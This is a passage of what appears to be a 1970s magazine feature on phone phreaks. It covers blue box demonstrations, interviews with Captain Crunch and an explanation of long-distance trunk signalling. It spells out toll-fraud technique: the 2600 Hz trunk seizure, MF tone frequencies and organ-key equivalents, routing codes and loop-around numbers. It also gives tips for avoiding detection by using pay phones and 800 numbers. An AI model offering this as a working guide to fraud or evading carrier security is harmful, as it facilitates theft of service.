  15742. $1500 apiece, but $300,000 in one lump was hard to turn down.  We had a
  15743. manufacturing deal worked out in the Philippines.  Everything ready to go.
  15744. Anyway, the model I had ready for limited mass production was small enough
  15745. to
  15746. fit inside a flip-top Marlboro box.  It had flush touch panels for a
  15747. keyboard,
  15748. rather than these unsightly buttons, sticking out.  Looked just like a tiny
  15749. portable radio.  In fact, I had designed it with a tiny transistor receiver
  15750. to
  15751. get one AM channel, so in case the law became suspicious the owner could
  15752. switch
  15753. on the radio part, start snapping his fingers, and no one could tell
  15754. anything
  15755. illegal was going on. I thought of everything for this model -- I had it
  15756. lined
  15757. with a band of thermite which could be ignited by radio signal from a tiny
  15758. button transmitter on your belt, so it could be burned to ashes instantly
  15759. in
  15760. case of a bust.  It was beautiful.  A beautiful little machine.  You should
  15761. have seen the faces on these syndicate guys when they came back after
  15762. trying it
  15763. out.  They'd hold it in their palm like they never wanted to let it go, and
  15764. they'd say, 'I can't believe it.  I can't believe it.'  You probably won't
  15765. believe it until you try it."
  15766.  
  15767. The Blue Box Is Tested: Certain Connections Are Made
  15768.  
  15769. About eleven o'clock two nights later Fraser Lucey has a blue box in the
  15770. palm
  15771. of his left hand and a phone in the palm of his right.  He is standing
  15772. inside a
  15773. phone booth next to an isolated shut-down motel off Highway 1.  I am
  15774. standing
  15775. outside the phone booth.
  15776.  
  15777. Fraser likes to show off his blue box for people.  Until a few weeks ago
  15778. when
  15779. Pacific Telephone made a few arrests in his city, Fraser Lucey liked to
  15780. bring
  15781. his blue box (This particular blue box, like most blue boxes, is not blue.
  15782. Blue boxes have come to be called "blue boxes" either because 1) The first
  15783. blue
  15784. box ever confiscated by phone-company security men happened to be blue, or
  15785. 2)
  15786. To distinguish them from "black boxes."  Black boxes are devices, usually a
  15787. resistor in series, which, when attached to home phones, allow all incoming
  15788. calls to be made without charge to one's caller.) to parties.  It never
  15789. failed:
  15790. a few cheeps from his device and Fraser became the center of attention at
  15791. the
  15792.  
  15793.  
  15794. very hippest of gatherings, playing phone tricks and doing request numbers
  15795. for
  15796. hours.  He began to take orders for his manufacturer in Mexico.  He became
  15797. a
  15798. dealer.
  15799.  
  15800. Fraser is cautious now about where he shows off his blue box.  But he never
  15801. gets tired of playing with it.  "It's like the first time every time," he
  15802. tells
  15803. me.
  15804.  
  15805. Fraser puts a dime in the slot.  He listens for a tone and holds the
  15806. receiver
  15807. up to my ear.  I hear the tone. Fraser begins describing, with a certain
  15808. practiced air, what he does while he does it. "I'm dialing an 800 number
  15809. now.
  15810. Any 800 number will do.  It's toll free. Tonight I think I'll use the -----
  15811. (he
  15812. names a well-know rent-a-car company) 800 number.  Listen, It's ringing.
  15813. Here,
  15814. you hear it?  Now watch."  He places the blue box over the mouthpiece of
  15815. the
  15816. phone so that the one silver and twelve black push buttons are facing up
  15817. toward
  15818. me.  He presses the silver button -- the one at the top -- and I hear that
  15819. high-pitched beep. "That's 2600 cycles per second to be exact," says Lucey.
  15820. "Now, quick. listen."  He shoves the earpiece at me.  The ringing has
  15821. vanished.
  15822. The line gives a slight hiccough, there is a sharp buzz, and then nothing
  15823. but
  15824. soft white noise.
  15825.  
  15826. "We're home free now," Lucey tells me, taking back the phone and applying
  15827. the
  15828. blue box to its mouthpiece once again.  "We're up on a tandem, into a
  15829. long-lines trunk.  Once you're up on a tandem, you can send yourself
  15830. anywhere
  15831. you want to go."  He decides to check out London first.  He chooses a
  15832. certain
  15833. pay phone located in Waterloo Station.  This particular pay phone is
  15834. popular
  15835. with the phone-phreaks network because there are usually people walking by
  15836. at
  15837. all hours who will pick it up and talk for a while.
  15838.  
  15839. He presses the lower left-hand corner button which is marked "KP" on the
  15840. face
  15841. of the box. "That's Key Pulse.  It tells the tandem we're ready to give it
  15842. instructions.  First I'll punch out KP 182 START, which will slide us into
  15843. the
  15844. overseas sender in White Plains."  I hear a neat clunk-cheep.  "I think
  15845. we'll
  15846. head over to England by satellite. Cable is actually faster and the
  15847. connection
  15848. is somewhat better, but I like going by satellite.  So I just punch out KP
  15849. Zero
  15850. 44.  The Zero is supposed to guarantee a satellite connection and 44 is the
  15851. country code for England.  Okay... we're there.  In Liverpool actually.
  15852.  
  15853.  
  15854. Now
  15855. all I have to do is punch out the London area code which is 1, and dial up
  15856. the
  15857. pay phone.  Here, listen, I've got a ring now."
  15858.  
  15859. I hear the soft quick purr-purr of a London ring.  Then someone picks up
  15860. the
  15861. phone.
  15862.  
  15863. "Hello," says the London voice.
  15864.  
  15865. "Hello.  Who's this?" Fraser asks.
  15866.  
  15867. "Hello.  There's actually nobody here.  I just picked this up while I was
  15868. passing by.  This is a public phone.  There's no one here to answer
  15869. actually."
  15870.  
  15871. "Hello.  Don't hang up.  I'm calling from the United States."
  15872.  
  15873. "Oh.  What is the purpose of the call?  This is a public phone you know."
  15874.  
  15875. "Oh.  You know.  To check out, uh, to find out what's going on in London.
  15876. How
  15877. is it there?"
  15878.  
  15879. "Its five o'clock in the morning.  It's raining now."
  15880.  
  15881. "Oh.  Who are you?"
  15882.  
  15883. The London passerby turns out to be an R.A.F. enlistee on his way back to
  15884. the
  15885. base in Lincolnshire, with a terrible hangover after a thirty-six-hour
  15886. pass.
  15887. He and Fraser talk about the rain.  They agree that it's nicer when it's
  15888. not
  15889. raining.  They say good-bye and Fraser hangs up.  His dime returns with a
  15890. nice
  15891. clink.
  15892.  
  15893. "Isn't that far out," he says grinning at me.  "London, like that."
  15894.  
  15895. Fraser squeezes the little blue box affectionately in his palm.  "I told ya
  15896. this thing is for real.  Listen, if you don't mind I'm gonna try this girl
  15897. I
  15898. know in Paris.  I usually give her a call around this time.  It freaks her
  15899. out.
  15900. This time I'll use the ------ (a different rent-a-car company) 800 number
  15901. and
  15902. we'll go by overseas cable, 133; 33 is the country code for France, the 1
  15903. sends
  15904. you by cable.  Okay, here we go.... Oh damn.  Busy.  Who could she be
  15905. talking
  15906. to at this time?"
  15907.  
  15908. A state police car cruises slowly by the motel.  The car does not stop, but
  15909. Fraser gets nervous.  We hop back into his car and drive ten miles in the
  15910. opposite direction until we reach a Texaco station locked up for the night.
  15911. We
  15912.  
  15913.  
  15914. pull up to a phone booth by the tire pump. Fraser dashes inside and tries
  15915. the
  15916. Paris number.  It is busy again.
  15917.  
  15918. "I don't understand who she could be talking to.  The circuits may be busy.
  15919. It's too bad I haven't learned how to tap into lines overseas with this
  15920. thing
  15921. yet."
  15922.  
  15923. Fraser begins to phreak around, as the phone phreaks say.  He dials a
  15924. leading
  15925. nationwide charge card's 800 number and punches out the tones that bring
  15926. him
  15927. the time recording in Sydney, Australia.  He beeps up the weather recording
  15928. in
  15929. Rome, in Italian of course.  He calls a friend in Boston and talks about a
  15930. certain over-the-counter stock they are into heavily.  He finds the Paris
  15931. number busy again.  He calls up "Dial a Disc" in London, and we listen to
  15932. Double Barrel by David and Ansil Collins, the number-one hit of the week in
  15933. London.  He calls up a dealer of another sort and talks in code.  He calls
  15934. up
  15935. Joe Engressia, the original blind phone-phreak genius, and pays his
  15936. respects.
  15937. There are other calls.  Finally Fraser gets through to his young lady in
  15938. Paris.
  15939.  
  15940. They both agree the circuits must have been busy, and criticize the Paris
  15941. telephone system.  At two-thirty in the morning Fraser hangs up, pockets
  15942. his
  15943. dime, and drives off, steering with one hand, holding what he calls his
  15944. "lovely
  15945. little blue box" in the other.
  15946.  
  15947. You Can Call Long Distance For Less Than You Think
  15948.  
  15949. "You see, a few years ago the phone company made one big mistake,"
  15950. Gilbertson
  15951. explains two days later in his apartment.  "They were careless enough to
  15952. let
  15953. some technical journal publish the actual frequencies used to create all
  15954. their
  15955. multi-frequency tones.  Just a theoretical article some Bell Telephone
  15956. Laboratories engineer was doing about switching theory, and he listed the
  15957. tones
  15958. in passing.  At ----- (a well-known technical school) I had been fooling
  15959. around
  15960. with phones for several years before I came across a copy of the journal in
  15961. the
  15962. engineering library.  I ran back to the lab and it took maybe twelve hours
  15963. from
  15964. the time I saw that article to put together the first working blue box.  It
  15965. was
  15966. bigger and clumsier than this little baby, but it worked."
  15967.  
  15968. It's all there on public record in that technical journal written mainly by
  15969. Bell Lab people for other telephone engineers.  Or at least it was public.
  15970. "Just try and get a copy of that issue at some engineering-school library
  15971. now.
  15972.  
  15973.  
  15974. Bell has had them all red-tagged and withdrawn from circulation,"
  15975. Gilbertson
  15976. tells me.
  15977.  
  15978. "But it's too late.  It's all public now.  And once they became public the
  15979. technology needed to create your own beeper device is within the range of
  15980. any
  15981. twelve-year-old kid, any twelve-year-old blind kid as a matter of fact.
  15982. And he
  15983. can do it in less than the twelve hours it took us.  Blind kids do it all
  15984. the
  15985. time.  They can't build anything as precise and compact as my beeper box,
  15986. but
  15987. theirs can do anything mine can do."
  15988.  
  15989. "How?"
  15990.  
  15991. "Okay.  About twenty years ago A.T.&T. made a multi-billion-dollar decision
  15992. to
  15993. operate its entire long-distance switching system on twelve electronically
  15994. generated combinations of twelve master tones. Those are the tones you
  15995. sometimes hear in the background after you've dialed a long-distance
  15996. number.
  15997. They decided to use some very simple tones -- the tone for each number is
  15998. just
  15999. two fixed single-frequency tones played simultaneously to create a certain
  16000. beat
  16001. frequency.  Like 1300 cycles per second and 900 cycles per second played
  16002. together give you the tone for digit 5.  Now, what some of these phone
  16003. phreaks
  16004. have done is get themselves access to an electric organ.  Any cheap family
  16005. home-entertainment organ.  Since the frequencies are public knowledge now
  16006. --
  16007. one blind phone phreak has even had them recorded in one of the talking
  16008. books
  16009. for the blind -- they just have to find the musical notes on the organ
  16010. which
  16011. correspond to the phone tones.  Then they tape them.  For instance, to get
  16012. Ma
  16013. Bell's tone for the number 1, you press down organ keys F~5 and A~5 (900
  16014. and
  16015. 700 cycles per second) at the same time.  To produce the tone for 2 it's
  16016. F~5
  16017. and C~6 (1100 and 700 c.p.s).  The phone phreaks circulate the whole list
  16018. of
  16019. notes so there's no trial and error anymore."
  16020.  
  16021. He shows me a list of the rest of the phone numbers and the two electric
  16022. organ
  16023. keys that produce them.
  16024.  
  16025. "Actually, you have to record these notes at 3 3/4 inches-per-second tape
  16026. speed
  16027. and double it to 7 1/2 inches-per-second when you play them back, to get
  16028. the
  16029. proper tones," he adds.
  16030.  
  16031. "So once you have all the tones recorded, how do you plug them into the
  16032.  
  16033.  
  16034. phone
  16035. system?"
  16036.  
  16037. "Well, they take their organ and their cassette recorder, and start banging
  16038. out
  16039. entire phone numbers in tones on the organ, including country codes,
  16040. routing
  16041. instructions, 'KP' and 'Start' tones.  Or, if they don't have an organ,
  16042. someone
  16043. in the phone-phreak network sends them a cassette with all the tones
  16044. recorded,
  16045. with a voice saying 'Number one,' then you have the tone, 'Number two,'
  16046. then
  16047. the tone and so on.  So with two cassette recorders they can put together a
  16048. series of phone numbers by switching back and forth from number to number.
  16049. Any
  16050. idiot in the country with a cheap cassette recorder can make all the free
  16051. calls
  16052. he wants."
  16053.  
  16054. "You mean you just hold the cassette recorder up the mouthpiece and switch
  16055. in a
  16056. series of beeps you've recorded?  The phone thinks that anything that makes
  16057. these tones must be its own equipment?"
  16058.  
  16059. "Right.  As long as you get the frequency within thirty cycles per second
  16060. of
  16061. the phone company's tones, the phone equipment thinks it hears its own
  16062. voice
  16063. talking to it.  The original granddaddy phone phreak was this blind kid
  16064. with
  16065. perfect pitch, Joe Engressia, who used to whistle into the phone.  An
  16066. operator
  16067. could tell the difference between his whistle and the phone company's
  16068. electronic tone generator, but the phone company's switching circuit can't
  16069. tell
  16070. them apart.  The bigger the phone company gets and the further away from
  16071. human
  16072. operators it gets, the more vulnerable it becomes to all sorts of phone
  16073. phreaking."
  16074.  
  16075. A Guide for the Perplexed
  16076.  
  16077. "But wait a minute," I stop Gilbertson.  "If everything you do sounds like
  16078. phone-company equipment, why doesn't the phone company charge you for the
  16079. call
  16080. the way it charges its own equipment?"
  16081.  
  16082. "Okay.  That's where the 2600-cycle tone comes in.  I better start from the
  16083. beginning."
  16084.  
  16085. The beginning he describes for me is a vision of the phone system of the
  16086. continent as thousands of webs, of long-line trunks radiating from each of
  16087. the
  16088. hundreds of toll switching offices to the other toll switching offices.
  16089. Each
  16090. toll switching office is a hive compacted of thousands of long-distance
  16091. tandems
  16092.  
  16093.  
  16094. constantly whistling and beeping to tandems in far-off toll switching
  16095. offices.
  16096.  
  16097. The tandem is the key to the whole system.  Each tandem is a line with some
  16098. relays with the capability of signalling any other tandem in any other toll
  16099. switching office on the continent, either directly one-to-one or by
  16100. programming
  16101. a roundabout route through several other tandems if all the direct routes
  16102. are
  16103. busy.  For instance, if you want to call from New York to Los Angeles and
  16104. traffic is heavy on all direct trunks between the two cities, your tandem
  16105. in
  16106. New York is programmed to try the next best route, which may send you down
  16107. to a
  16108. tandem in New Orleans, then up to San Francisco, or down to a New Orleans
  16109. tandem, back to an Atlanta tandem, over to an Albuquerque tandem and
  16110. finally up
  16111. to Los Angeles.
  16112.  
  16113. When a tandem is not being used, when it's sitting there waiting for
  16114. someone to
  16115. make a long-distance call, it whistles.  One side of the tandem, the side
  16116. "facing" your home phone, whistles at 2600 cycles per second toward all the
  16117. home phones serviced by the exchange, telling them it is at their service,
  16118. should they be interested in making a long-distance call.  The other side
  16119. of
  16120. the tandem is whistling 2600 c.p.s. into one or more long-distance trunk
  16121. lines,
  16122. telling the rest of the phone system that it is neither sending nor
  16123. receiving a
  16124. call through that trunk at the moment, that it has no use for that trunk at
  16125. the
  16126. moment.
  16127.  
  16128. "When you dial a long-distance number the first thing that happens is that
  16129. you
  16130. are hooked into a tandem.  A register comes up to the side of the tandem
  16131. facing
  16132. away from you and presents that side with the number you dialed.  This
  16133. sending
  16134. side of the tandem stops whistling 2600 into its trunk line.  When a tandem
  16135. stops the 2600 tone it has been sending through a trunk, the trunk is said
  16136. to
  16137. be "seized," and is now ready to carry the number you have dialed --
  16138. converted
  16139. into multi-frequency beep tones -- to a tandem in the area code and central
  16140. office you want.
  16141.  
  16142. Now when a blue-box operator wants to make a call from New Orleans to New
  16143. York
  16144. he starts by dialing the 800 number of a company which might happen to have
  16145. its
  16146. headquarters in Los Angeles.  The sending side of the New Orleans tandem
  16147. stops
  16148. sending 2600 out over the trunk to the central office in Los Angeles,
  16149. thereby
  16150. seizing the trunk.  Your New Orleans tandem begins sending beep tones to a
  16151. tandem it has discovered idly whistling 2600 cycles in Los Angeles.  The
  16152.  
  16153.  
  16154. receiving end of that L.A. tandem is seized, stops whistling 2600, listens
  16155. to
  16156. the beep tones which tell it which L.A. phone to ring, and starts ringing
  16157. the
  16158. 800 number.  Meanwhile a mark made in the New Orleans office accounting
  16159. tape
  16160. notes that a call from your New Orleans phone to the 800 number in L.A. has
  16161. been initiated and gives the call a code number. Everything is routine so
  16162. far.
  16163.  
  16164. But then the phone phreak presses his blue box to the mouthpiece and pushes
  16165. the
  16166. 2600-cycle button, sending 2600 out from the New Orleans tandem to the L.A.
  16167. tandem.  The L.A. tandem notices 2600 cycles are coming over the line again
  16168. and
  16169. assumes that New Orleans has hung up because the trunk is whistling as if
  16170. idle.
  16171. The L.A. tandem immediately ceases ringing the L.A. 800 number.  But as
  16172. soon as
  16173. the phreak takes his finger off the 2600 button, the L.A. tandem assumes
  16174. the
  16175. trunk is once again being used because the 2600 is gone, so it listens for
  16176. a
  16177. new series of digit tones - to find out where it must send the call.
  16178.  
  16179. Thus the blue-box operator in New Orleans now is in touch with a tandem in
  16180. L.A.
  16181. which is waiting like an obedient genie to be told what to do next.  The
  16182. blue-box owner then beeps out the ten digits of the New York number which
  16183. tell
  16184. the L.A. tandem to relay a call to New York City.  Which it promptly does.
  16185. As
  16186. soon as your party picks up the phone in New York, the side of the New
  16187. Orleans
  16188. tandem facing you stops sending 2600 cycles to you and stars carrying his
  16189. voice
  16190. to you by way of the L.A. tandem.  A notation is made on the accounting
  16191. tape
  16192. that the connection has been made on the 800 call which had been initiated
  16193. and
  16194. noted earlier.  When you stop talking to New York a notation is made that
  16195. the
  16196. 800 call has ended.
  16197.  
  16198. At three the next morning, when the phone company's accounting computer
  16199. starts
  16200. reading back over the master accounting tape for the past day, it records
  16201. that
  16202. a call of a certain length of time was made from your New Orleans home to
  16203. an
  16204. L.A. 800 number and, of course, the accounting computer has been trained to
  16205. ignore those toll-free 800 calls when compiling your monthly bill.
  16206.  
  16207. "All they can prove is that you made an 800 toll-free call," Gilbertson the
  16208. inventor concludes.  "Of course, if you're foolish enough to talk for two
  16209. hours
  16210. on an 800 call, and they've installed one of their special anti-fraud
  16211. computer
  16212.  
  16213.  
  16214. programs to watch out for such things, they may spot you and ask why you
  16215. took
  16216. two hours talking to Army Recruiting's 800 number when you're 4-F.
  16217.  
  16218. But if you do it from a pay phone, they may discover something peculiar the
  16219. next day -- if they've got a blue-box hunting program in their computer --
  16220. but
  16221. you'll be a long time gone from the pay phone by then.  Using a pay phone
  16222. is
  16223. almost guaranteed safe."
  16224.  
  16225. "What about the recent series of blue-box arrests all across the country --
  16226. New
  16227. York, Cleveland, and so on?" I asked.  "How were they caught so easily?"
  16228.  
  16229. "From what I can tell, they made one big mistake: they were seizing trunks
  16230. using an area code plus 555-1212 instead of an 800 number. Using 555 is
  16231. easy to
  16232. detect because when you send multi-frequency beep tones of 555 you get a
  16233. charge
  16234. for it on your tape and the accounting computer knows there's something
  16235. wrong
  16236. when it tries to bill you for a two-hour call to Akron, Ohio, information,
  16237. and
  16238. it drops a trouble card which goes right into the hands of the security
  16239. agent
  16240. if they're looking for blue-box user.
  16241.  
  16242. "Whoever sold those guys their blue boxes didn't tell them how to use them
  16243. properly, which is fairly irresponsible.  And they were fairly stupid to
  16244. use
  16245. them at home all the time.
  16246.  
  16247. "But what those arrests really mean is than an awful lot of blue boxes are
  16248. flooding into the country and that people are finding them so easy to make
  16249. that
  16250. they know how to make them before they know how to use them.  Ma Bell is in
  16251. trouble."
  16252.  
  16253. And if a blue-box operator or a cassette-recorder phone phreak sticks to
  16254. pay
  16255. phones and 800 numbers, the phone company can't stop them?
  16256.  
  16257. "Not unless they change their entire nationwide long-lines technology,
  16258. which
  16259. will take them a few billion dollars and twenty years.  Right now they
  16260. can't do
  16261. a thing.  They're screwed."
  16262.  
  16263. Captain Crunch Demonstrates His Famous Unit
  16264.  
  16265. There is an underground telephone network in this country.  Gilbertson
  16266. discovered it the very day news of his activities hit the papers. That
  16267. evening
  16268. his phone began ringing.  Phone phreaks from Seattle, from Florida, from
  16269. New
  16270. York, from San Jose, and from Los Angeles began calling him and telling him
  16271. about the phone-phreak network.  He'd get a call from a phone phreak who'd
  16272.  
  16273.  
  16274. say
  16275. nothing but, "Hang up and call this number."
  16276.  
  16277. When he dialed the number he'd find himself tied into a conference of a
  16278. dozen
  16279. phone phreaks arranged through a quirky switching station in British
  16280. Columbia.
  16281. They identified themselves as phone phreaks, they demonstrated their
  16282. homemade
  16283. blue boxes which they called "M-Fers" (for "multi-frequency," among other
  16284. things) for him, they talked shop about phone-phreak devices.  They let him
  16285. in
  16286. on their secrets on the theory that if the phone company was after him he
  16287. must
  16288. be trustworthy.  And, Gilbertson recalls, they stunned him with their
  16289. technical
  16290. sophistication.
  16291.  
  16292. I ask him how to get in touch with the phone-phreak network.  He digs
  16293. around
  16294. through a file of old schematics and comes up with about a dozen numbers in
  16295. three widely separated area codes.
  16296.  
  16297. "Those are the centers," he tells me.  Alongside some of the numbers he
  16298. writes
  16299. in first names or nicknames: names like Captain Crunch, Dr. No, Frank
  16300. Carson
  16301. (also a code word for a free call), Marty Freeman (code word for M-F
  16302. device),
  16303. Peter Perpendicular Pimple, Alefnull, and The Cheshire Cat.  He makes
  16304. checks
  16305. alongside the names of those among these top twelve who are blind.  There
  16306. are
  16307. five checks.
  16308.  
  16309. I ask him who this Captain Crunch person is.
  16310.  
  16311. "Oh.  The Captain.  He's probably the most legendary phone phreak.  He
  16312. calls
  16313. himself Captain Crunch after the notorious Cap'n Crunch 2600 whistle."
  16314. (Several years ago, Gilbertson explains, the makers of Cap'n Crunch
  16315. breakfast
  16316. cereal offered a toy-whistle prize in every box as a treat for the Cap'n
  16317. Crunch
  16318. set.  Somehow a phone phreak discovered that the toy whistle just happened
  16319. to
  16320. produce a perfect 2600-cycle tone.  When the man who calls himself Captain
  16321. Crunch was transferred overseas to England with his Air Force unit, he
  16322. would
  16323. receive scores of calls from his friends and "mute" them -- make them free
  16324. of
  16325. charge to them -- by blowing his Cap'n Crunch whistle into his end.)
  16326. "Captain Crunch is one of the older phone phreaks," Gilbertson tells me.
  16327. "He's
  16328. an engineer who once got in a little trouble for fooling around with the
  16329. phone,
  16330. but he can't stop.  Well, they guy drives across country in a Volkswagen
  16331. van
  16332.  
  16333.  
  16334. with an entire switchboard and a computerized super-sophisticated M-F-er in
  16335. the
  16336. back.  He'll pull up to a phone booth on a lonely highway somewhere, snake
  16337. a
  16338. cable out of his bus, hook it onto the phone and sit for hours, days
  16339. sometimes,
  16340. sending calls zipping back and forth across the country, all over the
  16341. world...."
  16342.  
  16343. Back at my motel, I dialed the number he gave me for "Captain Crunch" and
  16344. asked
  16345. for G---- T-----, his real name, or at least the name he uses when he's not
  16346. dashing into a phone booth beeping out M-F tones faster than a speeding
  16347. bullet
  16348. and zipping phantomlike through the phone company's long-distance lines.
  16349.  
  16350. When G---- T----- answered the phone and I told him I was preparing a story
  16351. for
  16352. Esquire about phone phreaks, he became very indignant.
  16353.  
  16354. "I don't do that.  I don't do that anymore at all.  And if I do it, I do it
  16355. for
  16356. one reason and one reason only.  I'm learning about a system.  The phone
  16357. company is a System.  A computer is a System, do you understand?  If I do
  16358. what
  16359. I do, it is only to explore a system. Computers, systems, that's my bag.
  16360. The
  16361. phone company is nothing but a computer."
  16362.  
  16363. A tone of tightly restrained excitement enters the Captain's voice when he
  16364. starts talking about systems.  He begins to pronounce each syllable with
  16365. the
  16366. hushed deliberation of an obscene caller.
  16367.  
  16368. "Ma Bell is a system I want to explore.  It's a beautiful system, you know,
  16369. but
  16370. Ma Bell screwed up.  It's terrible because Ma Bell is such a beautiful
  16371. system,
  16372. but she screwed up.  I learned how she screwed up from a couple of blind
  16373. kids
  16374. who wanted me to build a device.  A certain device.  They said it could
  16375. make
  16376. free calls.  I wasn't interested in free calls.  But when these blind kids
  16377. told
  16378. me I could make calls into a computer, my eyes lit up.  I wanted to learn
  16379. about
  16380. computers.  I wanted to learn about Ma Bell's computers.  So I build the
  16381. little
  16382. device, but I built it wrong and Ma Bell found out.  Ma Bell can detect
  16383. things
  16384. like that.  Ma Bell knows.  So I'm strictly rid of it now.  I don't do it.
  16385. Except for learning purposes."  He pauses. "So you want to write an
  16386. article.
  16387. Are you paying for this call?  Hang up and call this number."  He gives me
  16388. a
  16389. number in a area code a thousand miles away of his own.  I dial the number.
  16390.  
  16391. "Hello again.  This is Captain Crunch.  You are speaking to me on a
  16392.  
  16393.  
  16394. toll-free
  16395. loop-around in Portland, Oregon.  Do you know what a toll-free loop around
  16396. is?
  16397. I'll tell you.
  16398.  
  16399. He explains to me that almost every exchange in the country has open test
  16400. numbers which allow other exchanges to test their connections with it.
  16401. Most of
  16402. these numbers occur in consecutive pairs, such as 302 956-0041 and 302
  16403. 956-0042.  Well, certain phone phreaks discovered that if two people from
  16404. anywhere in the country dial the two consecutive numbers they can talk
  16405. together
  16406. just as if one had called the other's number, with no charge to either of
  16407. them,
  16408. of course.
  16409.  
  16410. "Now our voice is looping around in a 4A switching machine up there in
  16411. Canada,
  16412. zipping back down to me," the Captain tells me.  "My voice is looping
  16413. around up
  16414. there and back down to you.  And it can't ever cost anyone money.  The
  16415. phone
  16416. phreaks and I have compiled a list of many many of these numbers.  You
  16417. would be
  16418. surprised if you saw the list.  I could show it to you.  But I won't.  I'm
  16419. out
  16420. of that now.  I'm not out to screw Ma Bell.  I know better.  If I do
  16421. anything
  16422. it's for the pure knowledge of the System.  You can learn to do fantastic
  16423. things.  Have you ever heard eight tandems stacked up?  Do you know the
  16424. sound
  16425. of tandems stacking and unstacking?  Give me your phone number.  Okay. Hang
  16426. up
  16427. now and wait a minute."
  16428.  
  16429. Slightly less than a minute later the phone rang and the Captain was on the
  16430. line, his voice sounding far more excited, almost aroused.
  16431.  
  16432. "I wanted to show you what it's like to stack up tandems.  To stack up
  16433. tandems." (Whenever the Captain says "stack up" it sounds as if he is
  16434. licking
  16435. his lips.)
  16436.  
  16437. "How do you like the connection you're on now?" the Captain asks me. "It's
  16438. a
  16439. raw tandem.  A raw tandem.  Ain't nothin' up to it but a tandem.  Now I'm
  16440. going
  16441. to show you what it's like to stack up.  Blow off.  Land in a far away
  16442. place.
  16443. To stack that tandem up, whip back and forth across the country a few
  16444. times,
  16445. then shoot on up to Moscow.
  16446.  
  16447. "Listen," Captain Crunch continues.  "Listen.  I've got line tie on my
  16448. switchboard here, and I'm gonna let you hear me stack and unstack tandems.
  16449. Listen to this.  It's gonna blow your mind."
  16450.  
  16451. First I hear a super rapid-fire pulsing of the flutelike phone tones, then
  16452.  
  16453.  
  16454. a
  16455. pause, then another popping burst of tones, then another, then another.
  16456. Each
  16457. burst is followed by a beep-kachink sound.
  16458.  
  16459. "We have now stacked up four tandems," said Captain Crunch, sounding
  16460. somewhat
  16461. remote.  "That's four tandems stacked up.  Do you know what that means?
  16462. That
  16463. means I'm whipping back and forth, back and forth twice, across the
  16464. country,
  16465. before coming to you.  I've been known to stack up twenty tandems at a
  16466. time.
  16467. Now, just like I said, I'm going to shoot up to Moscow."
  16468.  
  16469. There is a new, longer series of beeper pulses over the line, a brief
  16470. silence,
  16471. then a ring.
  16472.  
  16473. "Hello," answers a far-off voice.
  16474.  
  16475. "Hello.  Is this the American Embassy Moscow?"
  16476.  
  16477. "Yes, sir.  Who is this calling?" says the voice.
  16478.  
  16479. "Yes.  This is test board here in New York.  We're calling to check out the
  16480. circuits, see what kind of lines you've got.  Everything okay there in
  16481. Moscow?"
  16482.  
  16483. "Okay?"
  16484.  
  16485. "Well, yes, how are things there?"
  16486.  
  16487. "Oh.  Well, everything okay, I guess."
  16488.  
  16489. "Okay.  Thank you."
  16490.  
  16491. They hang up, leaving a confused series of beep-kachink sounds hanging in
  16492. mid-ether in the wake of the call before dissolving away.
  16493.  
  16494. The Captain is pleased.  "You believe me now, don't you?  Do you know what
  16495. I'd
  16496. like to do?  I'd just like to call up your editor at Esquire and show him
  16497. just
  16498. what it sounds like to stack and unstack tandems. I'll give him a show that
  16499. will blow his mind.  What's his number?
  16500.  
  16501. I ask the Captain what kind of device he was using to accomplish all his
  16502. feats.
  16503. The Captain is pleased at the question.
  16504.  
  16505. "You could tell it was special, couldn't you?"  Ten pulses per second.
  16506. That's
  16507. faster than the phone company's equipment.  Believe me, this unit is the
  16508. most
  16509. famous unit in the country.  There is no other unit like it.  Believe me."
  16510.  
  16511. "Yes, I've heard about it.  Some other phone phreaks have told me about
  16512.  
  16513.  
  16514. it."
  16515.  
  16516. "They have been referring to my, ahem, unit?  What is it they said? Just
  16517. out of
  16518. curiosity, did they tell you it was a highly sophisticated
  16519. computer-operated
  16520. unit, with acoustical coupling for receiving outputs and a switch-board
  16521. with
  16522. multiple-line-tie capability?  Did they tell you that the frequency
  16523. tolerance
  16524. is guaranteed to be not more than .05 percent?  The amplitude tolerance
  16525. less
  16526. than .01 decibel?  Those pulses you heard were perfect.  They just come
  16527. faster
  16528. than the phone company. Those were high-precision op-amps.  Op-amps are
  16529. instrumentation amplifiers designed for ultra-stable amplification,
  16530. super-low
  16531. distortion and accurate frequency response.  Did they tell you it can
  16532. operate
  16533. in temperatures from -55 degrees C to +125 degrees C?"
  16534.  
  16535. I admit that they did not tell me all that.
  16536.  
  16537. "I built it myself," the Captain goes on.  "If you were to go out and buy
  16538. the
  16539. components from an industrial wholesaler it would cost you at least $1500.
  16540. I
  16541. once worked for a semiconductor company and all this didn't cost me a cent.
  16542. Do
  16543. you know what I mean?  Did they tell you about how I put a call completely
  16544. around the world?  I'll tell you how I did it.  I M-Fed Tokyo inward, who
  16545. connected me to India, India connected me to Greece, Greece connected me to
  16546. Pretoria, South Africa, South Africa connected me to South America, I went
  16547. from
  16548. South America to London, I had a London operator connect me to a New York
  16549. operator, I had New York connect me to a California operator who rang the
  16550. phone
  16551. next to me.  Needless to say I had to shout to hear myself.  But the echo
  16552. was
  16553. far out.  Fantastic.  Delayed.  It was delayed twenty seconds, but I could
  16554. hear
  16555. myself talk to myself."
  16556.  
  16557. "You mean you were speaking into the mouthpiece of one phone sending your
  16558. voice
  16559. around the world into your ear through a phone on the other side of your
  16560. head?"
  16561. I asked the Captain.  I had a vision of something vaguely autoerotic going
  16562. on,
  16563. in a complex electronic way.
  16564.  
  16565. "That's right," said the Captain.  "I've also sent my voice around the
  16566. world
  16567. one way, going east on one phone, and going west on the other, going
  16568. through
  16569. cable one way, satellite the other, coming back together at the same time,
  16570. ringing the two phones simultaneously and picking them up and whipping my
  16571. voice both ways around the world back to me. Wow.  That was a mind blower."
  16572.  
  16573.  
  16574. ç"You mean you sit there with both phones on your ear and talk to yourself
  16575. around the world," I said incredulously.
  16576.  
  16577. "Yeah.  Um hum.  That's what I do.  I connect the phone together and sit
  16578. there
  16579. and talk."
  16580.  
  16581. "What do you say?  What do you say to yourself when you're connected?"
  16582.  
  16583. "Oh, you know.  Hello test one two three," he says in a low-pitched voice.
  16584.  
  16585. "Hello test one two three," he replied to himself in a high-pitched voice.
  16586.  
  16587. "Hello test one two three," he repeats again, low-pitched.
  16588.  
  16589. "Hello test one two three," he replies, high-pitched.
  16590.  
  16591. "I sometimes do this: Hello Hello Hello Hello, Hello, hello," he trails off
  16592. and
  16593. breaks into laughter.
  16594.  
  16595. Why Captain Crunch Hardly Ever Taps Phones Anymore
  16596.  
  16597. Using internal phone-company codes, phone phreaks have learned a simple
  16598. method
  16599. for tapping phones.  Phone-company operators have in front of them a board
